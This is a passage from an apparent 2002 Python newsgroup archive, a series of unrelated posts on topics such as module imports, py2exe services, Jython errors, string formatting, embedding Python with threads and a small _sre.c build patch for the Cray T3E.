market, and one well served by GMP (for which at least two viable Python wrappers currently exist). > Tim's rather busy these days. I suppose the days of timbot postings > that take 2 hours to read (what with tracking down all the references > given and learning exotic CS concepts) are a thing of the past. That's for sure! I had a lot more time to give to Python before I got a job putatively working on it <0.3 wink>. Now it's mostly my job to sabotage people if I suspect they may scowl at Guido when he's not looking. Also, I read, to dream up gratuitous ways to break working code for no reason at all. It's a living. > Still a fun person, but now more of an adult figure, distant, > authoritative :o) ;) . But still vicious! I haven't lost any any truly important virtue. > Life continues on. Someday I too will need to leave > Never-Never-Land, but darn it, I'll fight it all the way. I've seen Peter Pan too, and there wasn't a long-int exponentiation in the whole story. Nested tuples, yes, but no truly big numbers. Neither decimal points nor implied binary points. So I conclude you got into this mess by poking your head *out* of Never-Never Land! Believe me, you don't even want to *see* what goes on out here. grownups-everywhere-you-turn-and-some-even-smell-bad-ly y'rs - tim From pyth at devel.trillke.net Fri May 31 12:35:29 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 31 May 2002 18:35:29 +0200 Subject: __import__ .vs. sys.modules In-Reply-To: <oqk7pke7iw.fsf@carouge.sram.qc.ca>; from pinard@iro.umontreal.ca on Fri, May 31, 2002 at 10:06:31AM -0400 References: <oqk7pke7iw.fsf@carouge.sram.qc.ca> Message-ID: <20020531183529.T17248@prim.han.de> Fran?ois Pinard wrote: > Hello, people. > > Yesterday, someone suggested on this list that: > > module = sys.modules[__name__] > > should best be written: > > module = __import__(__name__) Yesterday i was thinking that '__name__' refers to the usual preset __name__ from python inside a module. And this should not have a dot if i am not mistaken. For example the 'os.path' module is explicitely bound by the os-module with 'sys.modules['os.path']=...' (just have a look in the source). > This looked nice to me, at first. However, if `__name__' contains dots, > only the first of the above writing works. The second could be made to > work by splitting `__name__' at periods and doing more stunts after that, > but then, it becomes heavier and does not seem worth all the trouble. So yes, if you have some variable containing any (possibly dotted) module name than module = sys.modules[somestring] is the general approach. Note that using this approach the module must be already loaded. __import__ can handle the case with dotted modulenames as well (lookup the docs for this extended usage) but it would automatically try to load the modules. regards, holger From jblazi at hotmail.com Thu May 23 11:45:50 2002 From: jblazi at hotmail.com (jb) Date: Thu, 23 May 2002 17:45:50 +0200 Subject: Executing a system command References: <3cec0fa1_1@news2.newsgroups.com> <Xns921728ECCEA7cliechtigmxnet@62.2.16.82> <3cec8c79_1@goliath2.newsgroups.com> <wuadqrf40r.fsf@hades.layton-graphics.com> <3cece57f_5@goliath2.newsgroups.com> <wu661eg9ms.fsf@hades.layton-graphics.com> Message-ID: <3ced0c8c_4@goliath2.newsgroups.com> George Demmy wrote: > jb <jblazi at hotmail.com> writes: >> I already looked at os.environ. It contains the variable TEXINPUTS. I >> hope that this environment is passed on to the system call. How can I >> find out if there are additional variables I have to set? >> > > If you can run your commands successfully at the command line, then > you just need to make sure that your environments match. They > should. If the environments match, and you can run your command set at > the command line successfully, then you've got some other problem that > you'll have to discover. You might consider exploring a different line > of reasoning, e.g., os.chdir, doing in python what can be done in > python, and using os.system for what can only be done outside of > python. Also, start with trivial cases (e.g., simple documents based > upon default documentclasses), and work toward the more general and > complex. I tried os.system('latex test.tex') and it does not work either. How can I make sure that the environments are the same? -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From tdelaney at avaya.com Mon May 20 21:49:45 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Tue, 21 May 2002 11:49:45 +1000 Subject: PEP 218 Re: ANN: set-0.1 module available Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A2FF@natasha.auslabs.avaya.com> > From: Roman Suzi [mailto:rnd at onego.ru] > > - mutable sets are more practical. If one needs to use set as > a dict key, > let him convert it to sorted tuple and do so. I think, it's a > rare case. > Much more rare than need to append element to the set. This is exactly what I was going to say, but Roman beat me to it. s = {-} d = {} s |= 1 s |= 2 t = tuple(s) d[t] = s For this to work, the following things would need to be true. 1. For the sets s1 and s2, if s1 == s2, tuple(s1) == tuple(s2) must be true. 2. For this to work, set.__iter__ must return an iterator which returns items in a guaranteed order. It would not be sufficient to return the items of a sorted list - then you have the problem of instances of two different classes that compare equal but are sorted in arbitrary order. However, in order for s1 to equal s2, we must already have a guaranteed order for the comparison, so this should be trivial. Tim Delaney From customer.support at broadband.att.com Fri May 24 15:48:26 2002 From: customer.support at broadband.att.com (customer.support at broadband.att.com) Date: Fri, 24 May 2002 19:48:26 GMT Subject: Important information regarding your usenet service Message-ID: <eOwH8.9296$uh4.226@typhoon.mw.ipsvc.net> On June 6th, 2002 AT&T Broadband will restructure the configuration of the servers, which provide access to Usenet newsgroups. As a result, you will need to update your newsgroup settings. If you fail to update your settings will be unable to download new messages, post new messages or post replies to existing messages to newsgroups. For Outlook Express Users: First, Remove (Rename) Existing Account (you must do this first): 1. Open Outlook Express. 2. If your folder list is not automatically displayed, select the VIEW menu, then click LAYOUT. Click FOLDER LIST, then OK. 3. Click the netnews.attbi.com folder to create a list of newsgroups to which you currently subscribe. 4. Select the TOOLS menu, then ACCOUNTS, then the NEWS tab. 5. Select netnews.attbi.com and click REMOVE. Click YES to confirm. Then, Create a new news account: 1. Open Outlook Express. 2. Select the TOOLS menu, then ACCOUNTS. Click ADD, then NEWS. 3. Type your name as you would like it to appear and click NEXT. 4. Type your e-mail address in the format username at attbi.com, then click NEXT. 5. Type netnews.attbi.com in the news server field, click NEXT, then FINISH. 6. Click CLOSE. 7. A prompt to download your list of newsgroups will be displayed. Click YES. 8. Choose the newsgroups to which you would like to subscribe and click SUBSCRIBE. Additional information on subscribing to newsgroups is available on the AT&T Broadband Online Customer Support Center at https://help.broadband.att.com/faq.jsp?content_id=1731&category_id=68#configure From emailoffline at hotmail.com Mon May 13 11:06:48 2002 From: emailoffline at hotmail.com (Q) Date: Mon, 13 May 2002 15:06:48 GMT Subject: Python Service References: <GCEDKONBLEFPPADDJCOEAEJLDBAA.whisper@oz.net> <mailman.1021204463.11757.python-list@python.org> Message-ID: <cEQD8.8$Ou5.7@nwrddc03.gnilink.net> Hello Thanks for the Info Yes. I tried win32pipe.popen and that didn't work with the SRVANY wrapper either. "Afonso Fernandez Nogueira" <spam at aturuxo.net> wrote in message news:mailman.1021204463.11757.python-list at python.org... David LeBlanc wrote: > Noooo..... pipes != services on NT/2k! > > Take a look at win32service in PythonWin32Extensions doc part of PythonWin. > > Even better py2exe: > "Release 0.3.0: py2exe can now build windows NT services. > The exe-file will now contain a version resource. " > > http://starship.python.net/crew/theller/py2exe/ Oops. I'm sorry. I was so dumb I supposed you were referring to the "os.popen() won't work" part of the message of the original poster, although it was clear that the main topic of the thread was NT services, and I should have been more careful. fonso From aahz at pythoncraft.com Thu May 9 13:32:12 2002 From: aahz at pythoncraft.com (Aahz) Date: 9 May 2002 13:32:12 -0400 Subject: threaded urllib.urlretrieve() confusion References: <mailman.1020963317.16453.python-list@python.org> Message-ID: <abebqs$4li$1@panix1.panix.com> In article <mailman.1020963317.16453.python-list at python.org>, Michael Mell <mike at nthwave.net> wrote: > >I'm new to threads and am confounded by what seems to be happening. Perhaps you need to learn more about threads. See my OSCON slides on my web site. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ See me at OSCON! I'm teaching Python for [Perl] Programmers, a fast intro for all experienced programmers (not just Perl). Early bird ends June 10. http://conferences.oreillynet.com/os2002/ From sholden at holdenweb.com Fri May 17 01:03:31 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 17 May 2002 01:03:31 -0400 Subject: Stupid string formatting question References: <ue8mlv4gvfsc3@corp.supernews.com> Message-ID: <Td0F8.2418$i42.225@atlpnn01.usenetserver.com> "Michael S. Fischer" <michael+usenet at dynamine.net> wrote ... > Why can't I do this? > > def foo(x): > # Do some operations on x yielding a and b > return a, b > > print "a = %s, b = %s" % (foo(x)) > > It seems counter-intuitive that although foo is defined to return a 2-item > tuple, the interpreter just doesn't get it. > Clearly you aren't using the same interpreter I am, and you understand Python better than your interpreter ;-) >>> def foo(): ... return "spam", "eggs" ... >>> print "a=%s, b=%s" % foo() a=spam, b=eggs >>> Perhaps if you copy the error message or output you are seeing and paste it in another posting, with the actual code (unless it's horrendously long) we could give you better assistance. "The interpreter just doesn't get it" isn't a terribly helpful trouble report. Did it explode, howl in pain, or simply display a message? regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From fperez528 at yahoo.com Mon May 20 19:55:39 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Mon, 20 May 2002 17:55:39 -0600 Subject: Embedding a Numeric array in C References: <c3835e5f.0205201311.47dd6b14@posting.google.com> Message-ID: <acc2jb$1r5$2@peabody.colorado.edu> Chris Fonnesbeck wrote: > I am trying to find out how to properly embed a Numeric array type in > C. The following code compiles, but segfaults when run: > Don't sweat it. Use weave (http://scipy.org) with blitz if you can. It's far easier than writing your own typemaps correctly (a non-trivial task), and will probably be enough in 90% of the cases. At http://www-hep.colorado.edu/~fperez/python/python-c/ you'll find some examples of weave use with Numeric arrays to get you started. Cheers, f. From duncan-news at grisby.org Fri May 10 04:28:08 2002 From: duncan-news at grisby.org (Duncan Grisby) Date: Fri, 10 May 2002 08:28:08 GMT Subject: Python ORB References: <mailman.1020979816.18185.python-list@python.org> <ad496f8.0205092233.440157bb@posting.google.com> Message-ID: <swLC8.10955$xb4.1820324@news6-win.server.ntlworld.com> In article <ad496f8.0205092233.440157bb at posting.google.com>, Ville Vainio <vvainio at tp.spt.fi> wrote: >omniORBpy will apparently support wstings in the next version. Indeed it does. It's currently in beta. Cheers, Duncan. -- -- Duncan Grisby -- -- duncan at grisby.org -- -- http://www.grisby.org -- From warlock at eskimo.com Tue May 7 02:29:04 2002 From: warlock at eskimo.com (Jim Richardson) Date: Mon, 6 May 2002 23:29:04 -0700 Subject: degrees and radians. References: <mailman.1020748752.13903.python-list@python.org> Message-ID: <g7s7ba.kis.ln@127.0.0.1> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, 7 May 2002 15:18:22 +1000, Delaney, Timothy <tdelaney at avaya.com> wrote: >> From: Jim Richardson [mailto:warlock at eskimo.com] >> >> Thanks. Actually, I am a little intimidated by the whole OO and class >> thing. I still don't "grok" the whole OO thing. >> >> I don't understand what the (self,...) part of the init is. I >> *think* I >> know what __init__ is for, to set up the things you need to use the >> functions (methods?) within the class, but what's with self >> all over the >> place? > > This may help ... > > http://www.ibiblio.org/obp/thinkCSpy/ > > Tim Delaney > > Cool link, thank you! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE813Qwd90bcYOAWPYRAtFMAJwIYnIFF69nibghoi7v+8TVPVjddQCgiy/q 3L3zA8dSH5/K33BPNOowlwo= =wKeG -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From skip at pobox.com Fri May 10 00:52:11 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 9 May 2002 23:52:11 -0500 Subject: Building Python on Cray T3E In-Reply-To: <abfi4r$77b$1@newsreader.mailgate.org> References: <abfi4r$77b$1@newsreader.mailgate.org> Message-ID: <15579.20987.358038.577684@12-248-41-177.client.attbi.com> Mark> CC-147 cc: ERROR File = ./Modules/_sre.c, Line = 1791 Mark> Declaration is incompatible with "int join(char *, char *)" Mark> (declared at line 300 of "/usr/include/unistd.h"). Mark> join(PyObject* list, PyObject* pattern) Looks like _sre.c defines a static function named "join" that conflicts with something in the Cray's standard library. Try applying this patch. It should get you past this particular problem. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills [required]" - post to chi.jobs *** /home/skip/tmp/_sre.c.~2.79~ Thu May 9 23:50:23 2002 --- /home/skip/tmp/_sre.c Thu May 9 23:50:23 2002 *************** *** 1788,1794 **** #endif static PyObject* ! join(PyObject* list, PyObject* pattern) { /* join list elements */ --- 1788,1794 ---- #endif static PyObject* ! join_list(PyObject* list, PyObject* pattern) { /* join list elements */ *************** *** 2241,2247 **** Py_DECREF(filter); /* convert list to single string (also removes list) */ ! item = join(list, self->pattern); if (!item) return NULL; --- 2241,2247 ---- Py_DECREF(filter); /* convert list to single string (also removes list) */ ! item = join_list(list, self->pattern); if (!item) return NULL; From mertz at gnosis.cx Wed May 22 13:35:53 2002 From: mertz at gnosis.cx (Lulu of the Lotus-Eaters) Date: Wed, 22 May 2002 13:35:53 -0400 Subject: Is python really slow? References: <Xns9215ABCC0DDC8chrislak@209.249.90.101> <83adqsis0w.fsf@panacea.canonical.org> <3CEB8A1B.B77E889D@engcorp.com> Message-ID: <5b968kKkX0GR092yn@gnosis.cx> |Kragen Sitaker wrote: |> 1. Python is really slow, because it's highly dynamic and because it's |> interpreted. This is true of Perl, too. Primitive operations in both |> languages are roughly 100 to 1000 times slower than in languages |> compiled to machine code. Peter Hansen <peter at engcorp.com> wrote previously: |From no doubt a very different background, my experience has shown the |number to be more in the range of 10 to 100 times slower, averaging |about 30 times. In fact, the 100 times was usually with non-Pythonic |code, written with fairly heavy for-loops and lots of strings being |concatenated inefficiently. I think Kragen and Peter are probably both right in their estimates, because they are talking about slightly different things. If you just compare a raw loop, for example, C is easily 1000 times faster, e.g. for ln in lines: pass vs. for (i=0; lines[i][0]; i++) {ln = lines[i];} But once you *do* something inside a loop, Python typically makes use of some higher-level facility that is implemented in a more-or-less optimal way, e.g. import re new = [] for ln in lines: new.append(re.sub('[Ff][Oo][Oo]','Bar',ln)) Doing that in C takes a lot more lines... but moreover, the lines you actually write won't be any better than what re.sub() does internally. Yours, Lulu... -- mertz@ _/_/_/_/_/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY:_/_/_/_/ v i gnosis _/_/ Postmodern Enterprises _/_/ s r .cx _/_/ MAKERS OF CHAOS.... _/_/ i u _/_/_/_/_/ LOOK FOR IT IN A NEIGHBORHOOD NEAR YOU_/_/_/_/_/ g s From anthony at interlink.com.au Mon May 6 07:48:15 2002 From: anthony at interlink.com.au (Anthony Baxter) Date: Mon, 06 May 2002 21:48:15 +1000 Subject: Python vs. Perl, which is better to learn? In-Reply-To: Message from Roy Smith <roy@panix.com> of "Mon, 06 May 2002 07:13:12 -0400." <roy-F8D4A8.07131206052002@news1.panix.com> Message-ID: <200205061148.g46BmF909131@localhost.localdomain> >>> Roy Smith wrote > So, a while ago, I started on a major Perl project of my own. Decided to > do it right, with modules to do various tasks, OOP, etc. You know what? I > still hate it. The language is certainly a lot better when you use good > program design techniques, but it's still pretty ugly. That's pretty much the experience I had. Something like 10-12K LOC, all nice and OO and packages and stuff, and I reckon around 25% of the code was debugging to make sure that the wrong piece of line noise hadn't trashed a data structure. That was the last perl I ever worked on, and I can't imagine that I'd ever take a job that required I write or maintain perl ever again. Life's too damn short. Anthony -- Anthony Baxter <anthony at interlink.com.au> It's never too late to have a happy childhood. From runeb at [remove].eyeone.com Thu May 23 10:44:38 2002 From: runeb at [remove].eyeone.com (Rune Braathen) Date: Thu, 23 May 2002 14:44:38 GMT Subject: jython - animation problem References: <3ceca491$0$1529@echo-01.iinet.net.au> Message-ID: <uptzmq5yf.fsf@eyeone.com> "Rob Hall" <bloke at ii dot net> writes: > Hi all. > > Using Jython, I want to animate a rectangle moving across the > screen, but am having trouble defining my old and new rectangle. > Here's what I have: Well, the problem really isn't related to the animation... [ ... ] > oldRect = awt.Rectangle > newRect = awt.Rectangle Here, you bind the name 'oldRect' and 'newRect' to the awt.Rectangle class, I believe you want to create instances of the class: oldRect = awt.Rectangle() newRect = awt.Rectangle() [ ... ] > (51) newRect.x = curX newRect points to the awt.Rectangle class in your code, so here you attempt to set the static member 'x' to a value, but the awt.Rectangle class have no such member. > The trouble is, when I run it I get the following error at line 51: > > AttributeError: set instance variable as static: public int > java.awt.Rectangle.x > > What am I doing wrong? Something that will make you say to yourself: "DOH!" :) -- runeb From aleax at aleax.it Sun May 12 13:24:33 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 12 May 2002 17:24:33 GMT Subject: Rationals and Linear Programming in Python References: <mailman.1021222404.4103.python-list@python.org> Message-ID: <lzxD8.49747$zW3.655443@news1.tin.it> Noah Spurrier wrote: ... > I've also seen a few rational modules, but many of them looked old. > It was hard to tell what has the most active development and support. gmpy (gmpy.sf.net) does look old -- I haven't even released a Windows binary for Python 2.2 (because I don't normally use Windows any more since before Python 2.2 came out). But it is in regular use and pretty fast (thanks to the underlying GMP, of course). No time to spiffy it up, but I'll be very glad to help with any actual issues (finding a way to get you a Windows 2.2 binary if you don't have MSVC++ for ex.). The rationals in gmpy are type gmpy.mpr, by the way. I hear Marc Andre Lemburg has a spiffier-looking GMP wrapper as one of his mx.* goodies, but haven't looked into it -- I'd assume it could probably meet your needs just as well as gmpy could, though. Alex From adam12 at scn.org Tue May 14 14:51:29 2002 From: adam12 at scn.org (adam griffin) Date: Tue, 14 May 2002 12:51:29 -0600 Subject: import question References: <3ce0d9f8.606424437@news.skynet.be> Message-ID: <3CE15CB1.12E9FB85@scn.org> henk.derudder at barconet.com wrote: > > Hi all, > > Is there a way to import all possible Python-modules in a module with > a single call (or some other small elegant solution)? > > Regards, > > Henk why do you want to do this? From pyth at devel.trillke.net Mon May 6 06:10:25 2002 From: pyth at devel.trillke.net (holger krekel) Date: Mon, 6 May 2002 12:10:25 +0200 Subject: threads and return values In-Reply-To: <3cd5d63a$1_4@nopics.sjc> References: <3cd5d63a$1_4@nopics.sjc> Message-ID: <20020506101025.GI4604@devel.trillke> Adonis wrote: > if i push a function into a thread, how can i retrieve the value of the > returning function? > > any help would greatly be appreciated. You should look into the nice future-recipe from David Perry: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/84317 regards, holger From nas at python.ca Wed May 29 16:46:41 2002 From: nas at python.ca (Neil Schemenauer) Date: Wed, 29 May 2002 13:46:41 -0700 Subject: Why no open(f, "w").write()? In-Reply-To: <ackri2$lhn$1@news.urz.uni-heidelberg.de>; from msdemlei@tucana.cl.uni-heidelberg.de on Fri, May 24, 2002 at 07:53:38AM +0000 References: <ackri2$lhn$1@news.urz.uni-heidelberg.de> Message-ID: <20020529134641.A13404@glacier.arctrix.com> Markus Demleitner wrote: > refcount-based garbage collection is sort of a guarateed feature of > python, isn't it? Nope. Neil From claird at starbase.neosoft.com Fri May 10 12:52:25 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 10 May 2002 11:52:25 -0500 Subject: Python stagnating? References: <b62b39cb.0205090942.19eb2bfe@posting.google.com> <Xns9209AFA7A5F07chrislak@209.249.90.101> <abgqj3$r8v$1@panix2.panix.com> <UhSC8.59790$m26.39465@atlpnn01.usenetserver.com> Message-ID: <4C4017F2A8374833.8EC9AA6CCB3866FB.604DBC914D15FCEF@lp.airnews.net> In article <UhSC8.59790$m26.39465 at atlpnn01.usenetserver.com>, Steve Holden <sholden at holdenweb.com> wrote: . . . >documentation. It would be simpler to link each doc page to a Wiki page - at >least then we wouldn't have to download the user comments unless we really >wanted to see them. . . . Tcl people do nearly the opposite--there are Wiki pages for every doc page (in principle--we've still got a few to go), and the Wiki-s link back to the documentation. NOBODY writes, "This documentation is c00l!". Almost all the Wiki content is on the order of, "Is there a way to X and Y? Yes: you can quickly approximate this by placing a text widget in a ..." -- Cameron Laird <Cameron at Lairds.com> Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From theller at python.net Thu May 16 13:13:02 2002 From: theller at python.net (Thomas Heller) Date: Thu, 16 May 2002 19:13:02 +0200 Subject: py2exe Service Error References: <f20c505a.0205160852.29bbc0a0@posting.google.com> Message-ID: <ac0pc5$le45v$1@ID-59885.news.dfncis.de> "Matt Rapoport" <mattrapoport at hotmail.com> wrote in message news:f20c505a.0205160852.29bbc0a0 at posting.google.com... > I've created a very simple Python sript that runs as a service on a > Windows machine. I'd like to distribute this program without having > to distribute the python compiler. > > It seemed as though py2exe was the perfect solution. I followed the > instructions on the web site to create my .exe file and it runs > perfectly on my machine! Hurray! > > Here's the bad part ... when I copied the .exe file and all the other > files in the dist/MyService directory to a machine that doesn't have > Python installed on it it doesn't work. > > When I try to install the service I get this message: > > Could not open service manager, error code 5. > Error code 5 is "Access is denied." Is it a permission problem? Does the target machine run the same operating system as the development machine? (Just wild guesses...) Thomas From cliechti at gmx.net Sun May 12 10:15:36 2002 From: cliechti at gmx.net (Chris Liechti) Date: 12 May 2002 16:15:36 +0200 Subject: print string+ in for loop References: <20020512225216.32620d8f.kevin@no.mail.com> Message-ID: <Xns920CA5B56C3E4cliechtigmxnet@62.2.16.82> Kevin Kohiruimaki <kevin at no.mail.com> wrote in news:20020512225216.32620d8f.kevin at no.mail.com: > Hi, > > I can do: > > word = "horse" > > for c in word: > print c, > > But I can not do: > > for c in word: > print c+ > > What is the reason for not implementing it in the language? Thanks for > answering. i you dont want the spaces, use sys.stdout.write(c) there is not need for tricky syntaxes for anything.... chris -- Chris <cliechti at gmx.net> From hmerrill at redhat.com Tue May 14 16:47:01 2002 From: hmerrill at redhat.com (Hardy Merrill) Date: Tue, 14 May 2002 16:47:01 -0400 Subject: expect In-Reply-To: <abrq2p$ad0$1@netnews.upenn.edu>; from sollinge@mail1.sas.upenn.edu on Tue, May 14, 2002 at 07:55:05PM +0000 References: <abrq2p$ad0$1@netnews.upenn.edu> Message-ID: <20020514164701.F10257@merrill.redhat.com> I had the hardest time finding good documentation for expect, and I must say I still haven't found any "good" documenation. I didn't find the manpage very useful, and since I couldn't find any good docs online, I resorted to buying the book "Exploring Expect" by Libes (O'Reilly) - but my review of that book isn't much better. But it does have *some* useful information in there. I'd be interested to know if anyone else has found any good docs on expect. -- Hardy Merrill Senior Software Engineer Red Hat, Inc. Samantha [sollinge at mail1.sas.upenn.edu] wrote: > I want to automate downloading some info from the web that requires me to fill out a form using javascript. I believe expect is the answer, and I downloaded and installed a .deb package. Now I need some sort of a tutorial that tells me something more on the usage of this module. Doing this: > >>> dir (expect) > ['__builtins__', '__doc__', '__file__', '__name__', '_expect', 'popen', 'popen2', 'popen3'] > > shows me very few options that I can use. Is anyone aware of any sort of tutorial online that might help me? > > Thanks. > > -- > -Samantha > > > -- > http://mail.python.org/mailman/listinfo/python-list From safetyfactorman at hotmail.com Wed May 22 17:31:41 2002 From: safetyfactorman at hotmail.com (Mark Tompkins) Date: Wed, 22 May 2002 14:31:41 -0700 Subject: jython problem Message-ID: <3CEC0E3D.1050609@hotmail.com> I am having a problem using java jars. The example is for jakarta-poi-1.5.0-FINAL-20020506.jar 1. I renamed jakarta-poi-1.5.0-FINAL-20020506.jar to poi.jar. 2. I modified registry, python path: python.path = .;g:\\poi\\build\\poi.jar\\org\\apache\\poi as per warning during installation. 3. Run Jython, and see what happens: C:\>jython Jython 2.1 on java1.3.1 (JIT: null) Type "copyright", "credits" or "license" for more information. >>> import org.apache.poi as poi >>> dir(poi) ['__name__', 'dev', 'hpsf', 'hssf', 'poifs', 'util'] >>> dir(poi.hssf) ['__name__', 'dev', 'eventmodel', 'model', 'record', 'usermodel', 'util'] >>> dir(poi.hssf.usermodel) ['HSSFCell', 'HSSFCellStyle', 'HSSFColorConstants', 'HSSFDataFormat', 'HSSFDateUtil', 'HSSFErrorConstants', 'HSSFFont', 'HSSFRow', 'HSSFSheet', 'HSSFWorkbook', '__name__'] >>> x=poi.hssf.usermodel.HSSFWorkbook() Traceback (innermost last): File "<console>", line 1, in ? AttributeError: java package 'org.apache.poi.hssf.usermodel' has no attribute 'HSSFWorkbook' >>> Why is this failing? Is there any way to fix it? I have encountered the same problem with other jars. If I import jdk standard libs, everything works fine. ?? thx Mark From loewis at informatik.hu-berlin.de Wed May 29 09:38:21 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 29 May 2002 15:38:21 +0200 Subject: Embedding and threads ? References: <mailman.1022667286.17372.python-list@python.org> Message-ID: <j44rgrnkfm.fsf@informatik.hu-berlin.de> Bo Lorentsen <bl at netgroup.dk> writes: > Now is this possible ? Yes, but you need to make additional modifications. > Will each python code run separatly, in issolated environments ? No. Even if you manage to separate the interpreters, you will still get a single copy of the global variables. > Will it coredump ? Most likely. You need to acquire the Global Interpreter Lock before executing each piece of code. > Can I control what the python code is allowed to import, and where > stdout/err/in is directed ? Certainly. To restrict imports, I recommend to compile and execute code fragments inside an rexec sandbox. Alternatively, since you are embedding Python, you could also disable dynamic loading of modules, and provide a fixed modules table in your executable. To control stdout/err/in, you need to assign to sys.stdout/err/in. This won't catch direct references to stdout from C code, which should be rare - if you ever trigger one of those in the Python core, you should report that as a bug. > Are there any other way of controlling the execution environment of > earch thread, like getting a kind of execution context thingy ? This is what you need to do: each thread must maintain a Python thread state, and the thread must hold the GIL. Regards, Martin From loewis at informatik.hu-berlin.de Sun May 5 13:15:24 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 05 May 2002 19:15:24 +0200 Subject: making python scripts backwards compatible References: <13285ea2.0205041128.51eda313@posting.google.com> Message-ID: <j4it62h5xv.fsf@informatik.hu-berlin.de> joost_jacob at hotmail.com (J.Jacob) writes: > So the request is this: >From whom are you requesting this? > If you write code that could be used by people or systems > based on python 1.5.2 please make sure your code is > backwards compatible to 1.5.2. The code in question (SimpleXMLRPCServer) could *not* be used by people or systems based on Python 1.5.2, since you took it from the standard libary of a later Python version. Such code can only work with the Python executable that it came with. Even for code that *is* designed and maintained to work across different Python versions, this request is unreasonable. I dropped support for Python 1.5.2 from PyXML a few days ago, after asking users whether they would care. Redhat responded that they still ship Python 1.5.2, and will continue to do so throughout Redhat 7.x. However, they also pointed out that there *is* a Python 2.x distribution in recent Redhat releases, so users can install it if they want to. The net result is that PyXML 0.8 will not support Python 1.5.2 anymore, and that Redhat therefore won't incorporate PyXML 0.8 in any of the Redhat 7.x releases. If you wonder why I dropped 1.5.2 support: I just had to delete my last Python 1.5.2 installation, since the Redhat installations at my office got replaced with SuSE 8.0. Regards, Martin From sholden at holdenweb.com Sat May 4 01:05:05 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sat, 4 May 2002 01:05:05 -0400 Subject: Is there a way to 'mask out' inherited methods? References: <xdusn5ae0kr.fsf@gelatine.informatik.uni-freiburg.de> <xarA8.92414$vF6.2767924@news2.tin.it> <xduy9f15a6h.fsf@leto.informatik.uni-freiburg.de> Message-ID: <d1KA8.1655$v92.1107@atlpnn01.usenetserver.com> "Ralf Juengling" <juenglin at informatik.uni-freiburg.de> wrote ... [martellibot wisdom snipped] > > Thanks for your answers (to all of you). > > I still have problems to get the right picture about > instance attributes. At first I thought, anything is > dynamic and 'bound methods' and 'data attributes' we're > treated similar in that you can add and remove them > at runtime if you like. Then one could sth like this: > > class A: > > def __init__(self): > pass > > def mA(self): > print "Here I am." > According to this definition, mA is an atribute of the A class (the action of the def statement is to bind the code body to the name in the currently-active local scope, which is that of the class). > class B(A): > > def __init__(self): > A.__init__self) > del self.mA > Aha! You are getting confused because the A.mA method/attribute is available as B.mA by inheritance, and therefore is also available as an instance method in instances of B. However, the mechanism that makes it available is a complex search of a sequence on namespaces (the instance, the instance's class, the instance's class's superclass, ...). To make things still more confusing, if a method binds a name qualified by self (such as self.mA) then that creates a binding of the attribute name local to the instance in which the code is performed. You can verify this by changing the definition of A so its __init__() binds to an instance variable with a simple assignment like self.instancevar = 1 Because this name is bound in the instance's namespace when a B is created (even though the binding is performed by a method defined in and inherited from A) there will be no problem if the B.__init__() method performs del self.instancevar > def mB(self): > print "Me too." > > > This doesn't work; I get: > > >>> b = B() > Traceback (most recent call last): > File "<stdin>", line 1, in ? > File "vector1.py", line 47, in __init__ > del self.mA > AttributeError: B instance has no attribute 'mA' > > Well, hopefully you now at least understand why. Namespaces are a crucial concept in Python, and if you aren't used to quite such a dynamic environemtn, or if you are new to late-bound object-oriented programming, it can all get a little bit confusing. > Okay. Just to try, I changed A to a new-style class > (class A(object): ). In this case I get: > > >>> b = B() > Traceback (most recent call last): > File "<stdin>", line 1, in ? > File "vector1.py", line 47, in __init__ > del self.mA > AttributeError: 'B' object attribute 'mA' is read-only > > So, what's that? > Well I'm only going to put a toe in this water, as this stuff is pretty new. Alex can set you straight is necessary. New-style classes appear (from this error message :-) to bind method names much more rigidly than classis classes. They are therefore not amenable to the same naughty games you could classically play with your classes and objects. > I've already heard that the 'attribute resolving-' or > 'attribute access-'methodology changed in 2.2, i.e. > there are now special 'descriptor objects' for that > purpose. However, I don't understand what's going on. > Me neither. Where is Alex when you need him? <wink> > What happens -- in terms of descriptors -- when the > following expressions are evaluated? (Imagine the del > statement in B.__init__ is absent and): > > b = B() > > 1. b.mA() The mA() method inherited from A is called as described above, with b as its first argument. > 2. b.mB() The B.mB() method is called, with b as its first argument. > > 3. b.mA = 'eat that' New-style: nono. Classic: binds an instance-local "mA" attribute to the string. This attribute masks the mA inherited from the class's superclass, since the search willl now be satisfied by the instance's local namespace. > 4. b.mB = 'or that' Same as for 3, except that the name that is masked is defined in the instance's class definition. > > 5. del b.mA > 6. del b.mB > Do you mean after 1-4, or independently of them? Seriously, I would hope you could work that out for yourself by now. If not, please feel free to post again. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From anthony at interlink.com.au Wed May 1 21:31:39 2002 From: anthony at interlink.com.au (Anthony Baxter) Date: Thu, 02 May 2002 